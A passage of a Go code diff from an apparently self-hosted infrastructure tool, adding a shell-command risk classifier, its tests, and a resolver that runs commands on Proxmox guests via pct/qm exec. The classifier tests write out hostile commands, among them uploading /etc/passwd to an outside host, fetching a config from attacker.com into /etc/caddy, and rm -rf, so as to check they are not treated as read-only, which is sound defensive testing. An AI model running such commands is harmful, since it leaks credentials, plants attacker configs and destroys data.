probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
|
probe = envAssignRe.ReplaceAllString(probe, "")
|
||||||
probe = strings.TrimSpace(probe)
|
probe = strings.TrimSpace(probe)
|
||||||
|
// curl is handled by a dedicated check because GET (the default) is
|
||||||
|
// read-only but POST/data/upload flags are not. The general
|
||||||
|
// readOnlyLeadPattern can't distinguish these.
|
||||||
|
if curlLeadRe.MatchString(probe) {
|
||||||
|
if !curlIsReadOnly(probe) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Any output redirection makes a verb non-read-only even if the
|
||||||
|
// verb itself is (e.g. "curl url > /etc/passwd").
|
||||||
|
if redirectOutRe.MatchString(probe) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
if !readOnlyLeadPattern.MatchString(probe) {
|
if !readOnlyLeadPattern.MatchString(probe) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return len(segments) > 0
|
return len(segments) > 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
|
||||||
|
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
|
||||||
|
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
|
||||||
|
// file writes all disqualify the read-only path.
|
||||||
|
func curlIsReadOnly(curlCmd string) bool {
|
||||||
|
if !curlLeadRe.MatchString(curlCmd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// -o /dev/null is a no-op sink: strip it before flag detection so the
|
||||||
|
// canonical GET-and-discard reachability probe stays read-only.
|
||||||
|
// A `curl -o /dev/null -X POST` still fails curlMutateRe after stripping.
|
||||||
|
curlCmd = curlDevNullOutRe.ReplaceAllString(curlCmd, " ")
|
||||||
|
if curlMutateRe.MatchString(curlCmd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if redirectOutRe.MatchString(curlCmd) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|||||||
@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
|
|||||||
"docker compose ps",
|
"docker compose ps",
|
||||||
"docker compose top",
|
"docker compose top",
|
||||||
"docker compose config",
|
"docker compose config",
|
||||||
|
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
|
||||||
|
"curl http://192.168.8.214:5572/rc/core/stats",
|
||||||
|
"curl -fsSL https://example.com/",
|
||||||
|
"curl -I http://example.com/",
|
||||||
|
"curl --head http://example.com/",
|
||||||
|
// pct exec with a read-only inner command is now read-only (P0.1).
|
||||||
|
"pct exec 132 systemctl status rclone-backup.timer",
|
||||||
|
"pct exec 121 -- systemctl is-active caddy",
|
||||||
|
"pct exec 121 -- journalctl -u caddy -n 50",
|
||||||
|
"pct exec 121 -- bash -c 'echo hi'",
|
||||||
|
"pct exec 121 -- bash -c 'systemctl status caddy'",
|
||||||
|
"sudo pct exec 121 -- systemctl status caddy",
|
||||||
|
// qm guest exec on a VM, read-only inner.
|
||||||
|
"qm guest exec 100 -- systemctl status caddy",
|
||||||
}
|
}
|
||||||
for _, c := range cases {
|
for _, c := range cases {
|
||||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||||
@@ -88,11 +102,49 @@ func TestClassifyCommand_CurlPipeSh_ConfigMutation(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestClassifyCommand_CurlDevNull_ReadOnly(t *testing.T) {
|
||||||
|
// -o /dev/null is a no-op sink — the canonical GET-and-discard
|
||||||
|
// reachability idiom must stay read_only. Output to real paths stays
|
||||||
|
// config_mutation. POST/data flags after stripping still gate.
|
||||||
|
cases := []struct {
|
||||||
|
cmd string
|
||||||
|
cls string
|
||||||
|
}{
|
||||||
|
// read_only: GET with body discarded to /dev/null
|
||||||
|
{`curl -o /dev/null -w '%{http_code}' --connect-timeout 10 http://192.168.8.101:8123`, RiskReadOnly},
|
||||||
|
{`curl -sS -o /dev/null https://home.hubris.network`, RiskReadOnly},
|
||||||
|
{`curl --output /dev/null https://example.com`, RiskReadOnly},
|
||||||
|
{`curl -o /dev/null https://example.com`, RiskReadOnly},
|
||||||
|
{`curl -o/dev/null -w '%{http_code}' https://example.com`, RiskReadOnly},
|
||||||
|
// config_mutation: POST/data still caught after stripping devnull
|
||||||
|
{`curl -o /dev/null -X POST https://example.com`, RiskConfigMutation},
|
||||||
|
{`curl -o /dev/null -d '{"x":1}' https://example.com`, RiskConfigMutation},
|
||||||
|
// config_mutation: -o to real path stays config_mutation
|
||||||
|
{`curl -o /etc/caddy/Caddyfile http://example.com`, RiskConfigMutation},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
if got := ClassifyCommand(c.cmd, ""); got != c.cls {
|
||||||
|
t.Errorf("ClassifyCommand(%q) = %q, want %q", c.cmd, got, c.cls)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
||||||
cases := []string{
|
cases := []string{
|
||||||
"apt-get install -y nginx",
|
"apt-get install -y nginx",
|
||||||
"systemctl restart caddy",
|
"systemctl restart caddy",
|
||||||
"pct exec 121 -- bash -c 'echo hi'",
|
// `pct exec` wrapping a mutating inner command is config_mutation
|
||||||
|
// (was previously config_mutation for ALL pct exec — now classified
|
||||||
|
// by the inner command). The inner `pct exec 121 -- bash -c
|
||||||
|
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
|
||||||
|
// which is config_mutation.
|
||||||
|
"pct exec 121 -- bash -c 'systemctl restart caddy'",
|
||||||
|
"pct exec 132 systemctl restart rclone-backup.service",
|
||||||
|
// curl with POST/data/upload flags is config_mutation (P0.1).
|
||||||
|
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
|
||||||
|
"curl --upload-file /etc/passwd http://example.com/upload",
|
||||||
|
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
|
||||||
|
"curl http://example.com/ > /etc/caddy/Caddyfile",
|
||||||
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
||||||
"git push origin main",
|
"git push origin main",
|
||||||
"docker compose up -d",
|
"docker compose up -d",
|
||||||
@@ -160,3 +212,32 @@ func TestClassifyCommand_EmptyCommand(t *testing.T) {
|
|||||||
t.Errorf("empty command should default to config_mutation (escalate), got %q", got)
|
t.Errorf("empty command should default to config_mutation (escalate), got %q", got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// reversible_low is never computed from the command text — it can only arrive
|
||||||
|
// as a declaration. These pin down the asymmetry that makes auto-running it
|
||||||
|
// safe: a declaration may raise the class but never lower it, so the only
|
||||||
|
// computed class reversible_low can accompany is read_only.
|
||||||
|
func TestReversibleLowOnlyArrivesAsADeclaration(t *testing.T) {
|
||||||
|
// Nothing in the command text alone yields reversible_low.
|
||||||
|
for _, cmd := range []string{
|
||||||
|
"systemctl restart nginx", "uptime", "cat /etc/os-release",
|
||||||
|
"apt-get update", "docker restart web", "rm -rf /tmp/x",
|
||||||
|
} {
|
||||||
|
if got := ClassifyCommand(cmd, ""); got == RiskReversibleLow {
|
||||||
|
t.Errorf("ClassifyCommand(%q, \"\") = reversible_low; the classifier should never compute it", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Declaring it on a read-only command raises to reversible_low...
|
||||||
|
if got := ClassifyCommand("uptime", RiskReversibleLow); got != RiskReversibleLow {
|
||||||
|
t.Errorf("declared reversible_low over a read_only command = %q, want reversible_low", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ...but declaring it can never talk a riskier command down.
|
||||||
|
if got := ClassifyCommand("apt-get upgrade -y", RiskReversibleLow); got == RiskReversibleLow {
|
||||||
|
t.Error("declaring reversible_low must not lower a config_mutation command")
|
||||||
|
}
|
||||||
|
if got := ClassifyCommand("rm -rf /var/lib/x", RiskReversibleLow); got != RiskDestructive {
|
||||||
|
t.Errorf("declaring reversible_low over a destructive command = %q, want destructive", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
303
internal/remote/remote.go
Normal file
303
internal/remote/remote.go
Normal file
@@ -0,0 +1,303 @@
|
|||||||
|
// Package remote resolves how to execute a command on a target entity and
|
||||||
|
// turns a plain shell command into whatever must be sent over the SSH
|
||||||
|
// connection that reaches it.
|
||||||
|
//
|
||||||
|
// The canonical access model: a host or workstation is reached by direct SSH
|
||||||
|
// to its address; an LXC or VM is NEVER SSH'd into directly — it is reached
|
||||||
|
// through its owning Proxmox host via `pct exec` / `qm guest exec`. One SSH
|
||||||
|
// credential per host (the host's root key), no per-guest keys, sshd, or
|
||||||
|
// lan_ip required for execution. Network probes (http/ping) still hit a
|
||||||
|
// guest's lan_ip directly; only command execution host-hops.
|
||||||
|
//
|
||||||
|
// This is the single resolver shared by the scheduler's check execution and
|
||||||
|
// the MCP `run` tool. Previously they diverged — the scheduler SSHed guests
|
||||||
|
// directly (broken for headless/keyless/mesh-only guests), while MCP
|
||||||
|
// host-hopped (working). Keeping one path keeps them in lockstep.
|
||||||
|
package remote
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DefaultUser is the SSH user when an entity declares no ssh.user. The
|
||||||
|
// Proxmox hosts and their guests are all administered as root.
|
||||||
|
const DefaultUser = "root"
|
||||||
|
|
||||||
|
// ExecTarget is a resolved execution endpoint: the SSH address and user to
|
||||||
|
// connect to, plus Wrap, which rewrites a plain command for transport.
|
||||||
|
type ExecTarget struct {
|
||||||
|
Host string
|
||||||
|
User string
|
||||||
|
// Wrap turns a plain shell command into the form that must be sent over
|
||||||
|
// the SSH connection to this target: the identity function for a host,
|
||||||
|
// `pct exec <id> -- bash -c 'echo <b64> | base64 -d | bash'` for an LXC,
|
||||||
|
// the `qm guest exec` equivalent for a VM. The base64 round-trip keeps
|
||||||
|
// nested quoting identical across both guest kinds.
|
||||||
|
Wrap func(cmd string) string
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsGuest reports whether an entity type is reached via pct/qm exec through a
|
||||||
|
// Proxmox host rather than by direct SSH. docker-container is reached via its
|
||||||
|
// host's docker socket, not pct, so it is not a guest here.
|
||||||
|
func IsGuest(entityType string) bool {
|
||||||
|
return entityType == "lxc" || entityType == "vm"
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveHost resolves a `host:<slug>` to its reachable network address and
|
||||||
|
// SSH user. Address preference: lan_ip, then public_ipv4, then mesh IP, then
|
||||||
|
// mesh fqdn. Preferring public_ipv4 over mesh matters because the scheduler
|
||||||
|
// container has no mesh interface — a standalone-server with only a mesh IP
|
||||||
|
// (netbird-vps) was unreachable, and a public_ipv4 was sitting unused.
|
||||||
|
//
|
||||||
|
// fallbackUser is used when the entity declares no ssh.user; callers pass
|
||||||
|
// their configured default (the scheduler uses "root", the MCP run tool uses
|
||||||
|
// its configured OIKOS_SSH_USER).
|
||||||
|
func ResolveHost(ctx context.Context, pool *db.Pool, hostSlug, fallbackUser string) (addr, user string, err error) {
|
||||||
|
var raw string
|
||||||
|
if err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", hostSlug).Scan(&raw); err != nil {
|
||||||
|
return "", "", fmt.Errorf("entity not found: %s", hostSlug)
|
||||||
|
}
|
||||||
|
var m map[string]any
|
||||||
|
if err = json.Unmarshal([]byte(raw), &m); err != nil {
|
||||||
|
return "", "", fmt.Errorf("parse attributes for %s: %w", hostSlug, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if v, ok := m["lan_ip"].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
} else if v, ok := m["public_ipv4"].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
} else if mesh, ok := m["mesh"].(map[string]any); ok {
|
||||||
|
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||||
|
if v, ok := nb["ip"].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
} else if v, ok := nb["fqdn"].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if addr == "" {
|
||||||
|
return "", "", fmt.Errorf("no IP found for %s", hostSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
user = fallbackUser
|
||||||
|
if ssh, ok := m["ssh"].(map[string]any); ok {
|
||||||
|
if u, ok := ssh["user"].(string); ok && u != "" {
|
||||||
|
user = u
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return addr, user, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveProxmoxHostSlug resolves the Proxmox host slug that owns a guest.
|
||||||
|
// Resolution order: the hostAttr if non-empty (the entity's attributes.host,
|
||||||
|
// stored without the "host:" prefix), the `hosts` relationship on the guest
|
||||||
|
// (the canonical graph edge), then "hubris" as the documented default.
|
||||||
|
//
|
||||||
|
// entityID is the guest's entity id; the relationship lookup uses it
|
||||||
|
// directly rather than a slug subquery.
|
||||||
|
func ResolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entityID uuid.UUID, hostAttr string) string {
|
||||||
|
hostSlug := strings.TrimSpace(hostAttr)
|
||||||
|
// Only trust a clean token as a host name. The attribute is operator/
|
||||||
|
// agent-writable and has been polluted with prose before ("hubris
|
||||||
|
// (confirmed via pct config…)") — using that verbatim produces a slug that
|
||||||
|
// never resolves. Treat anything with whitespace or parens as invalid and
|
||||||
|
// fall back to the canonical `hosts` edge below.
|
||||||
|
if strings.ContainsAny(hostSlug, " \t()") {
|
||||||
|
hostSlug = ""
|
||||||
|
}
|
||||||
|
if hostSlug == "" {
|
||||||
|
var relHostSlug string
|
||||||
|
if err := pool.QueryRow(ctx, `
|
||||||
|
SELECT e.slug FROM relationships r
|
||||||
|
JOIN entities e ON e.id = r.source_id
|
||||||
|
WHERE r.target_id = $1
|
||||||
|
AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||||
|
LIMIT 1`, entityID).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
||||||
|
hostSlug = relHostSlug
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if hostSlug == "" {
|
||||||
|
hostSlug = "hubris" // documented default Proxmox host when unset
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(hostSlug, "host:") {
|
||||||
|
hostSlug = "host:" + hostSlug
|
||||||
|
}
|
||||||
|
return hostSlug
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveExecTarget resolves a target slug (host:, lxc:, or vm:) to its
|
||||||
|
// execution endpoint. This is the slug-based entry used by the MCP `run` tool.
|
||||||
|
func ResolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug, fallbackUser string) (ExecTarget, error) {
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(targetSlug, "host:"):
|
||||||
|
addr, user, err := ResolveHost(ctx, pool, targetSlug, fallbackUser)
|
||||||
|
if err != nil {
|
||||||
|
return ExecTarget{}, err
|
||||||
|
}
|
||||||
|
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||||
|
|
||||||
|
case strings.HasPrefix(targetSlug, "lxc:"), strings.HasPrefix(targetSlug, "vm:"):
|
||||||
|
var (
|
||||||
|
id uuid.UUID
|
||||||
|
pveID string
|
||||||
|
typ string
|
||||||
|
hostAttr string
|
||||||
|
)
|
||||||
|
if err := pool.QueryRow(ctx,
|
||||||
|
"SELECT id, type, attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE slug = $1",
|
||||||
|
targetSlug).Scan(&id, &typ, &pveID, &hostAttr); err != nil || pveID == "" {
|
||||||
|
return ExecTarget{}, fmt.Errorf("guest not found or missing pve_id: %s", targetSlug)
|
||||||
|
}
|
||||||
|
hostSlug := ResolveProxmoxHostSlug(ctx, pool, id, hostAttr)
|
||||||
|
addr, user, err := ResolveHost(ctx, pool, hostSlug, fallbackUser)
|
||||||
|
if err != nil {
|
||||||
|
return ExecTarget{}, err
|
||||||
|
}
|
||||||
|
return ExecTarget{Host: addr, User: user, Wrap: guestWrap(typ, pveID)}, nil
|
||||||
|
}
|
||||||
|
return ExecTarget{}, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveExecTargetForCheck resolves an execution endpoint keyed by the
|
||||||
|
// target's id and type — the data the scheduler has at check-execution time
|
||||||
|
// (check_defs carry target_id + target_type, not a slug). Guests route via
|
||||||
|
// pct/qm exec; everything else (hosts, workstations, services resolved to
|
||||||
|
// their hosting machine) is reached by direct SSH to the entity's own address.
|
||||||
|
func ResolveExecTargetForCheck(ctx context.Context, pool *db.Pool, targetID uuid.UUID, targetType, fallbackUser string) (ExecTarget, error) {
|
||||||
|
if IsGuest(targetType) {
|
||||||
|
return resolveGuest(ctx, pool, targetID, targetType, fallbackUser)
|
||||||
|
}
|
||||||
|
|
||||||
|
// A service (or other non-compute target) has no address of its own — it
|
||||||
|
// runs on whatever compute entity provides/hosts it. Resolve that host and
|
||||||
|
// route through it: pct if the host is a guest, direct SSH (with the
|
||||||
|
// host's correct user) if it's a machine. Previously a service check baked
|
||||||
|
// its hosting LXC's lan_ip and SSHed it directly as root, which fails
|
||||||
|
// because the scheduler key isn't in each LXC — only on the Proxmox hosts.
|
||||||
|
if hostID, hostType, ok := hostingCompute(ctx, pool, targetID); ok {
|
||||||
|
if IsGuest(hostType) {
|
||||||
|
return resolveGuest(ctx, pool, hostID, hostType, fallbackUser)
|
||||||
|
}
|
||||||
|
addr, user, err := resolveHostByID(ctx, pool, hostID, fallbackUser)
|
||||||
|
if err != nil {
|
||||||
|
return ExecTarget{}, err
|
||||||
|
}
|
||||||
|
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// No hosting entity found: reach the target directly at its own address
|
||||||
|
// (a host/workstation, or a service whose host wasn't resolvable).
|
||||||
|
addr, user, err := resolveHostByID(ctx, pool, targetID, fallbackUser)
|
||||||
|
if err != nil {
|
||||||
|
return ExecTarget{}, err
|
||||||
|
}
|
||||||
|
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// hostingCompute walks the provides/runs-on/hosts edges backward from a target
|
||||||
|
// to the compute entity that runs it (a service's LXC, an LXC's Proxmox host).
|
||||||
|
// Returns the host's id, type, and whether one was found. Most-specific edge
|
||||||
|
// first: provides names the runtime container directly.
|
||||||
|
func hostingCompute(ctx context.Context, pool *db.Pool, targetID uuid.UUID) (uuid.UUID, string, bool) {
|
||||||
|
var hid uuid.UUID
|
||||||
|
var htype string
|
||||||
|
err := pool.QueryRow(ctx, `
|
||||||
|
SELECT e.id, e.type FROM relationships r
|
||||||
|
JOIN entities e ON e.id = r.source_id
|
||||||
|
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('provides','runs-on','hosts')
|
||||||
|
ORDER BY CASE r.type WHEN 'provides' THEN 0 WHEN 'runs-on' THEN 1 ELSE 2 END
|
||||||
|
LIMIT 1`, targetID).Scan(&hid, &htype)
|
||||||
|
if err != nil {
|
||||||
|
return uuid.Nil, "", false
|
||||||
|
}
|
||||||
|
return hid, htype, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveGuest resolves a guest's execution endpoint: the owning Proxmox host
|
||||||
|
// (SSH'd directly) with a pct/qm exec wrapper around the command.
|
||||||
|
func resolveGuest(ctx context.Context, pool *db.Pool, guestID uuid.UUID, guestType, fallbackUser string) (ExecTarget, error) {
|
||||||
|
var pveID, hostAttr string
|
||||||
|
if err := pool.QueryRow(ctx,
|
||||||
|
"SELECT attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE id = $1",
|
||||||
|
guestID).Scan(&pveID, &hostAttr); err != nil || pveID == "" {
|
||||||
|
return ExecTarget{}, fmt.Errorf("guest %s missing pve_id", guestID)
|
||||||
|
}
|
||||||
|
hostSlug := ResolveProxmoxHostSlug(ctx, pool, guestID, hostAttr)
|
||||||
|
addr, user, err := ResolveHost(ctx, pool, hostSlug, fallbackUser)
|
||||||
|
if err != nil {
|
||||||
|
return ExecTarget{}, err
|
||||||
|
}
|
||||||
|
return ExecTarget{Host: addr, User: user, Wrap: guestWrap(guestType, pveID)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveHostByID is ResolveHost keyed by entity id.
|
||||||
|
func resolveHostByID(ctx context.Context, pool *db.Pool, id uuid.UUID, fallbackUser string) (addr, user string, err error) {
|
||||||
|
var raw string
|
||||||
|
if err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE id = $1", id).Scan(&raw); err != nil {
|
||||||
|
return "", "", fmt.Errorf("entity %s not found", id)
|
||||||
|
}
|
||||||
|
var m map[string]any
|
||||||
|
if err = json.Unmarshal([]byte(raw), &m); err != nil {
|
||||||
|
return "", "", fmt.Errorf("parse attributes: %w", err)
|
||||||
|
}
|
||||||
|
for _, key := range []string{"lan_ip", "public_ipv4", "mesh_ip"} {
|
||||||
|
if v, ok := m[key].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if addr == "" {
|
||||||
|
if mesh, ok := m["mesh"].(map[string]any); ok {
|
||||||
|
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||||
|
if v, ok := nb["ip"].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
} else if v, ok := nb["fqdn"].(string); ok && v != "" {
|
||||||
|
addr = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if addr == "" {
|
||||||
|
return "", "", fmt.Errorf("no IP found for entity %s", id)
|
||||||
|
}
|
||||||
|
user = fallbackUser
|
||||||
|
if ssh, ok := m["ssh"].(map[string]any); ok {
|
||||||
|
if u, ok := ssh["user"].(string); ok && u != "" {
|
||||||
|
user = u
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if u, ok := m["user"].(string); ok && u != "" && user == fallbackUser {
|
||||||
|
// Workstations carry their login as a top-level `user` attribute
|
||||||
|
// (mac-mini: user: dtoro), not under ssh.user. Take it only when no
|
||||||
|
// explicit ssh.user was set, so a host that genuinely wants root still
|
||||||
|
// gets root.
|
||||||
|
user = u
|
||||||
|
}
|
||||||
|
return addr, user, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// guestWrap builds the pct/qm exec wrapper for a guest of the given type.
|
||||||
|
func guestWrap(entityType, pveID string) func(cmd string) string {
|
||||||
|
if entityType == "vm" {
|
||||||
|
return func(cmd string) string {
|
||||||
|
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||||
|
// `qm guest exec` returns JSON; pipe through jq for a clean stdout,
|
||||||
|
// falling back to the raw form. Mirrors the LXC base64 round-trip.
|
||||||
|
return fmt.Sprintf(
|
||||||
|
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
||||||
|
pveID, b64, pveID, b64)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return func(cmd string) string {
|
||||||
|
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||||
|
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", pveID, b64)
|
||||||
|
}
|
||||||
|
}
|
||||||
203
internal/remote/remote_test.go
Normal file
203
internal/remote/remote_test.go
Normal file
@@ -0,0 +1,203 @@
|
|||||||
|
package remote
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/db"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// guestWrap and IsGuest are pure logic — always tested. The DB-backed
|
||||||
|
// resolvers are integration tests guarded by OIKOS_TEST_DATABASE_URL, the
|
||||||
|
// same convention as internal/scheduler/coverage_test.go.
|
||||||
|
|
||||||
|
func TestIsGuest(t *testing.T) {
|
||||||
|
cases := map[string]bool{
|
||||||
|
"lxc": true, "vm": true,
|
||||||
|
"proxmox-host": false, "workstation": false,
|
||||||
|
"service": false, "docker-container": false,
|
||||||
|
}
|
||||||
|
for typ, want := range cases {
|
||||||
|
if got := IsGuest(typ); got != want {
|
||||||
|
t.Errorf("IsGuest(%q) = %v, want %v", typ, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGuestWrapLXC(t *testing.T) {
|
||||||
|
w := guestWrap("lxc", "132")
|
||||||
|
out := w("/opt/oikos/checks/cpu_check.sh 'svc'")
|
||||||
|
if !strings.Contains(out, "pct exec 132 -- bash -c ") {
|
||||||
|
t.Fatalf("lxc wrap must use pct exec: %q", out)
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "qm guest exec") {
|
||||||
|
t.Fatalf("lxc wrap must not use qm: %q", out)
|
||||||
|
}
|
||||||
|
// The base64 payload must round-trip to the original command.
|
||||||
|
i := strings.Index(out, "echo ")
|
||||||
|
j := strings.LastIndex(out, " | base64 -d | bash")
|
||||||
|
if i < 0 || j < 0 || j <= i {
|
||||||
|
t.Fatalf("cannot locate base64 payload in %q", out)
|
||||||
|
}
|
||||||
|
dec, err := base64.StdEncoding.DecodeString(out[i+len("echo ") : j])
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("decode payload: %v", err)
|
||||||
|
}
|
||||||
|
if string(dec) != "/opt/oikos/checks/cpu_check.sh 'svc'" {
|
||||||
|
t.Fatalf("round-trip mismatch: %q", string(dec))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGuestWrapVM(t *testing.T) {
|
||||||
|
w := guestWrap("vm", "108")
|
||||||
|
out := w("uname -a")
|
||||||
|
if !strings.Contains(out, "qm guest exec 108") {
|
||||||
|
t.Fatalf("vm wrap must use qm guest exec: %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveExecTargetUnsupported(t *testing.T) {
|
||||||
|
// No DB needed: an unsupported slug prefix errors before any query.
|
||||||
|
if _, err := ResolveExecTarget(context.Background(), nil, "service:gitea", DefaultUser); err == nil {
|
||||||
|
t.Fatal("expected error for unsupported target prefix")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- integration tests (require a real Postgres) ---
|
||||||
|
|
||||||
|
func newRemotePool(t *testing.T) *db.Pool {
|
||||||
|
t.Helper()
|
||||||
|
base := testDatabaseURL(t)
|
||||||
|
return createTestDB(t, base)
|
||||||
|
}
|
||||||
|
|
||||||
|
func testDatabaseURL(t *testing.T) string {
|
||||||
|
t.Helper()
|
||||||
|
u := getenvOrDefault("OIKOS_TEST_DATABASE_URL", "")
|
||||||
|
if u == "" {
|
||||||
|
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||||
|
}
|
||||||
|
return u
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveHostPrefersLAN(t *testing.T) {
|
||||||
|
pool := newRemotePool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'host:x','proxmox-host','x','active','{"lan_ip":"10.0.0.1","public_ipv4":"1.2.3.4","mesh":{"netbird":{"ip":"100.64.0.1"}}}'::jsonb,1,now(),now())`,
|
||||||
|
uuid.New())
|
||||||
|
|
||||||
|
addr, user, err := ResolveHost(ctx, pool, "host:x", DefaultUser)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveHost: %v", err)
|
||||||
|
}
|
||||||
|
if addr != "10.0.0.1" {
|
||||||
|
t.Errorf("addr = %q, want lan_ip 10.0.0.1", addr)
|
||||||
|
}
|
||||||
|
if user != "root" {
|
||||||
|
t.Errorf("user = %q, want root", user)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveHostFallsBackToPublicIPv4(t *testing.T) {
|
||||||
|
// netbird-vps: no lan_ip, has public_ipv4 + mesh ip. Must prefer
|
||||||
|
// public_ipv4 — the scheduler container has no mesh interface.
|
||||||
|
pool := newRemotePool(t)
|
||||||
|
ctx := context.Background()
|
||||||
|
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||||
|
VALUES ($1,'host:vps','standalone-server','vps','active','{"public_ipv4":"82.165.190.79","mesh":{"netbird":{"ip":"100.122.165.149"}}}'::jsonb,1,now(),now())`,
|
||||||
|
uuid.New())
|
||||||
|
|
||||||
|
addr, _, err := ResolveHost(ctx, pool, "host:vps", DefaultUser)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveHost: %v", err)
|
||||||
|
}
|
||||||
|
if addr != "82.165.190.79" {
|
||||||
|
